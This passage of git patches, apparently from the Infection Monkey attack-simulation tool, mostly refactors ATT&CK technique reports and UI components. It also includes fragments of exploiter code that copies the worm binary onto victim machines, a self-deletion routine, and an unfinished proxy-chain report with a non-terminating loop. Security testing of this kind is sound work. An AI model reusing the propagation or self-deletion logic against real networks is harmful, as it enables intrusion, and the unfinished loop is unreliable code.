:param status: Enum from common/attack_utils.py integer value :return: message string """ - if status == ScanStatus.UNSCANNED: + if status == ScanStatus.UNSCANNED.value: return cls.unscanned_msg - elif status == ScanStatus.SCANNED: + elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg From 8c9787f2c70297bff0ade33b443aaa0d79b0c635 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 17:50:48 +0300 Subject: [PATCH 011/276] Changes report components to use ScanStatus value --- .../cc/services/attack/technique_reports/T1003.py | 4 ++-- .../cc/services/attack/technique_reports/T1059.py | 4 ++-- .../cc/services/attack/technique_reports/T1065.py | 2 +- .../cc/services/attack/technique_reports/T1075.py | 6 +++--- .../cc/services/attack/technique_reports/T1082.py | 4 ++-- .../cc/services/attack/technique_reports/T1086.py | 4 ++-- .../cc/services/attack/technique_reports/T1110.py | 6 +++--- .../cc/services/attack/technique_reports/T1145.py | 4 ++-- .../cc/services/attack/technique_reports/T1210.py | 6 +++--- .../cc/services/attack/technique_reports/__init__.py | 10 +++++----- 10 files changed, 25 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index a92758cbc..d9aaeaa47 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -20,8 +20,8 @@ class T1003(AttackTechnique): def get_report_data(): data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 328c11112..ef15dd9fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -27,8 +27,8 @@ class T1059(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index fd34e80e9..7d8ceb93e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -17,4 +17,4 @@ class T1065(AttackTechnique): def get_report_data(): port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1] T1065.used_msg = T1065.message % port - return T1065.get_base_data_by_status(ScanStatus.USED) + return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index fa65a66c2..623d157ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -35,10 +35,10 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - status = ScanStatus.USED + status = ScanStatus.USED.value elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 79020c048..f59b63286 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -40,8 +40,8 @@ class T1082(AttackTechnique): system_info = list(mongo.db.telemetry.aggregate(T1082.query)) data.update({'system_info': system_info}) if system_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1082.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 4114047c5..dd5d64d25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -29,8 +29,8 @@ class T1086(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) data = {'title': T1086.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1086.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 91d785bc3..b918de7f4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,11 +35,11 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - status = ScanStatus.USED + status = ScanStatus.USED.value elif attempts: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 9b525873f..89ac44117 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -23,9 +23,9 @@ class T1145(AttackTechnique): ssh_info = list(mongo.db.telemetry.aggregate(T1145.query)) if ssh_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1145.get_base_data_by_status(status) data.update({'ssh_info': ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 6e89bc6ab..eeae183f5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -18,11 +18,11 @@ class T1210(AttackTechnique): scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - status = ScanStatus.USED + status = ScanStatus.USED.value elif scanned_services: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index d765b5f09..3e92417d3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -67,21 +67,21 @@ class AttackTechnique(object): def get_message_and_status(cls, status): """ Returns a dict with attack technique's message and status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {'message': cls.get_message_by_status(status), 'status': status.value} + return {'message': cls.get_message_by_status(status), 'status': status} @classmethod def get_message_by_status(cls, status): """ Picks a message to return based on status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: message string """ - if status == ScanStatus.UNSCANNED: + if status == ScanStatus.UNSCANNED.value: return cls.unscanned_msg - elif status == ScanStatus.SCANNED: + elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg From eb574c8fffcde4b3fbfc2af9a228b6dfc5a77276 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Jul 2019 09:49:29 +0300 Subject: [PATCH 012/276] Minor changes in the UI --- .../cc/ui/src/components/attack/techniques/T1105.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index 3f0438245..ed0ebc1e9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData } from "./Helpers" +import { scanStatus } from "./Helpers" class T1105 extends React.Component { @@ -25,7 +25,7 @@ class T1105 extends React.Component {
{this.props.data.message}

- {this.props.data.status !== 'UNSCANNED' ? + {this.props.data.status !== scanStatus.UNSCANNED ? Date: Wed, 10 Jul 2019 08:40:31 +0300 Subject: [PATCH 013/276] Fixed host IP address retrieval and system_info_collection bugs --- monkey/infection_monkey/exploit/sambacry.py | 4 ++-- monkey/infection_monkey/exploit/sshexec.py | 8 ++++---- monkey/infection_monkey/exploit/tools/smb_tools.py | 8 ++++---- .../cc/services/attack/technique_reports/T1003.py | 6 +++--- .../cc/services/attack/technique_reports/T1082.py | 2 +- 5 files changed, 14 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 23d89bfa5..762cc14b5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -270,8 +270,8 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 2c56471a4..dfa922b24 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -165,15 +165,15 @@ class SSHExploiter(HostExploiter): callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, src_path).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, src_path).send() return False diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index af088d9eb..6ca0b63ad 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -140,8 +140,8 @@ class SmbTools(object): file_uploaded = True T1105Telem(ScanStatus.USED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) @@ -151,8 +151,8 @@ class SmbTools(object): LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() continue finally: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index d9aaeaa47..2b49f264d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,9 +12,9 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, - # $gt: {} checks if field is not an empty object - {'data.credentials': {'$gt': {}}}]} + query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}}, + # $gt: {} checks if field is not an empty object + {'data.credentials': {'$gt': {}}}]} @staticmethod def get_report_data(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index f59b63286..e10784cfc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -12,7 +12,7 @@ class T1082(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." - query = [{'$match': {'telem_category': 'system_info_collection'}}, + query = [{'$match': {'telem_category': 'system_info'}}, {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, 'aws': '$data.aws', 'netstat': '$data.network_info.netstat', From e1baacd0f0cae3cfd6ed795e26fbc6bcab5dfe7d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Jul 2019 09:00:01 +0300 Subject: [PATCH 014/276] Remote file copy identical results grouped --- .../cc/services/attack/technique_reports/T1105.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 176bae052..3d95fd88d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -16,7 +16,9 @@ class T1105(AttackTechnique): {'$project': {'_id': 0, 'src': '$data.src', 'dst': '$data.dst', - 'filename': '$data.filename'}}] + 'filename': '$data.filename'}}, + {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod def get_report_data(): From 09e1abb3cb90943ba33bafbe9b19f4723f12123b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Jul 2019 09:11:13 +0300 Subject: [PATCH 015/276] System info attack technique's identical results grouped --- .../cc/services/attack/technique_reports/T1082.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index e10784cfc..bc2645bb9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -32,7 +32,9 @@ class T1082(AttackTechnique): 'name': {'$literal': 'SSH info'}}, {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, 'name': {'$literal': 'Azure info'}} - ]}}] + ]}}, + {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod def get_report_data(): From 35a288bb6ad87d054f1cdc189edf403dce819379 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Jul 2019 09:34:05 +0300 Subject: [PATCH 016/276] Exploitation of remote services cosmetic improvements --- .../cc/ui/src/components/attack/techniques/T1210.js | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 1b3daa86c..9b6266efa 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -12,22 +12,25 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ + Header: "Found services", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] }])} static getExploitColumns() { return ([{ + Header: "Exploited services", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }, + width: 170}, {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] }])}; @@ -54,7 +57,6 @@ class T1210 extends React.Component { return (

-
Found services:

-
Exploited services:
Date: Fri, 12 Jul 2019 11:12:34 +0300 Subject: [PATCH 017/276] Proxy attack techniques implemented --- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 16 ++++++++ .../attack/technique_reports/T1090.py | 34 ++++++++++++++++ .../attack/technique_reports/T1188.py | 39 +++++++++++++++++++ 4 files changed, 92 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1090.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1188.py diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 1711059a0..2321a37c5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,7 +1,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107 +from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -24,7 +24,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1035': T1035.T1035, 'T1129': T1129.T1129, 'T1106': T1106.T1106, - 'T1107': T1107.T1107} + 'T1107': T1107.T1107, + 'T1188': T1188.T1188} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 363541fdd..891db84e8 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -186,6 +186,22 @@ SCHEMA = { "necessary": True, "description": "Adversaries may conduct C2 communications over a non-standard " "port to bypass proxies and firewalls that have been improperly configured." + }, + "T1090": { + "title": "T1090 Connection proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "A connection proxy is used to direct network traffic between systems " + "or act as an intermediary for network communications." + }, + "T1188": { + "title": "T1188 Multi-hop proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "To disguise the source of malicious traffic, " + "adversaries may chain together multiple proxies." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py new file mode 100644 index 000000000..fc9969d9b --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1090(AttackTechnique): + + tech_id = "T1090" + unscanned_msg = "Monkey didn't use connection proxy." + scanned_msg = "" + used_msg = "Monkey used connection proxy." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1090.query)) + data = {'title': T1090.technique_title(), 'cmds': cmd_data} + if cmd_data: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1090.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py new file mode 100644 index 000000000..9fdc1ba32 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -0,0 +1,39 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey + +__author__ = "VakarisZ" + + +class T1188(AttackTechnique): + + tech_id = "T1188" + unscanned_msg = "Monkey didn't use multi-hop proxy." + scanned_msg = "" + used_msg = "Monkey used multi-hop proxy." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + + @staticmethod + def get_report_data(): + monkeys = T1188.get_tunneled_monkeys() + for monkey in monkeys: + proxy_chain = 0 + proxy = Monkey.objects(id=monkey.tunnel) + while proxy: + proxy_chain += 1 + proxy = Monkey.objects(id=monkey.tunnel) + + data = {'title': T1188.technique_title()} + return data + + @staticmethod + def get_tunneled_monkeys(): + return Monkey.objects(tunnel__exists=True) From 81fd51229659c1c08563711d1359e14bba9cab78 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 12 Jul 2019 11:40:47 +0300 Subject: [PATCH 018/276] PR comments fixed --- monkey/infection_monkey/monkey.py | 7 +++++-- .../cc/ui/src/components/attack/techniques/Helpers.js | 2 +- .../cc/ui/src/components/attack/techniques/T1003.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1059.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1075.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1082.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1086.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1107.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1110.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1145.js | 4 ++-- .../cc/ui/src/components/report-components/AttackReport.js | 6 +++--- 11 files changed, 25 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7769ceab8..ba58730d6 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -252,6 +252,7 @@ class InfectionMonkey(object): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: + status = None if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() @@ -262,10 +263,12 @@ class InfectionMonkey(object): close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) - T1107Telem(ScanStatus.USED, sys.executable).send() + status = ScanStatus.USED except Exception as exc: LOG.error("Exception in self delete: %s", exc) - T1107Telem(ScanStatus.SCANNED, sys.executable).send() + status = ScanStatus.SCANNED + if status: + T1107Telem(status, sys.executable).send() def send_log(self): monkey_log_path = utils.get_monkey_log_path() diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index b620e82d7..0950b2a63 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -20,7 +20,7 @@ export function renderMachineFromSystemData(data) { return machineStr + ")" } -export const scanStatus = { +export const ScanStatus = { UNSCANNED: 0, SCANNED: 1, USED: 2 diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index 208840cf3..07fd4a400 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -2,7 +2,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import '../../report-components/StolenPasswords' import StolenPasswordsComponent from "../../report-components/StolenPasswords"; -import {scanStatus} from "./Helpers" +import {ScanStatus} from "./Helpers" class T1003 extends React.Component { @@ -16,7 +16,7 @@ class T1003 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? : ""}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 8d5585829..4651f5c41 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine, scanStatus } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1059 extends React.Component { @@ -25,7 +25,7 @@ class T1059 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ?
{this.props.data.message}

- {this.props.data.status !== scanStatus.UNSCANNED ? + {this.props.data.status === ScanStatus.USED ?
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ?
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Yes } else { return No diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js index 0519199b4..da9682da3 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine, scanStatus } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1110 extends React.Component { @@ -32,7 +32,7 @@ class T1110 extends React.Component {
{this.props.data.message}

- {this.props.data.status !== scanStatus.UNSCANNED ? + {this.props.data.status !== ScanStatus.UNSCANNED ?
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Mon, 15 Jul 2019 09:15:32 +0300 Subject: [PATCH 019/276] Multi-hop proxy attack technique finished --- monkey/monkey_island/cc/models/monkey.py | 4 ++ .../attack/technique_reports/T1188.py | 40 +++++++-------- .../src/components/attack/techniques/T1188.js | 49 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 4 files changed, 76 insertions(+), 21 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 0b910c84b..56b78bc3b 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -68,6 +68,10 @@ class Monkey(Document): os = "windows" return os + @staticmethod + def get_tunneled_monkeys(): + return Monkey.objects(tunnel__exists=True) + class MonkeyNotFoundError(Exception): pass diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 9fdc1ba32..30e621065 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -1,5 +1,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus __author__ = "VakarisZ" @@ -11,29 +12,28 @@ class T1188(AttackTechnique): scanned_msg = "" used_msg = "Monkey used multi-hop proxy." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, - {'$unwind': '$data.info.executed_cmds'}, - {'$sort': {'data.info.executed_cmds.powershell': 1}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, - {'$project': {'_id': 0, 'data': 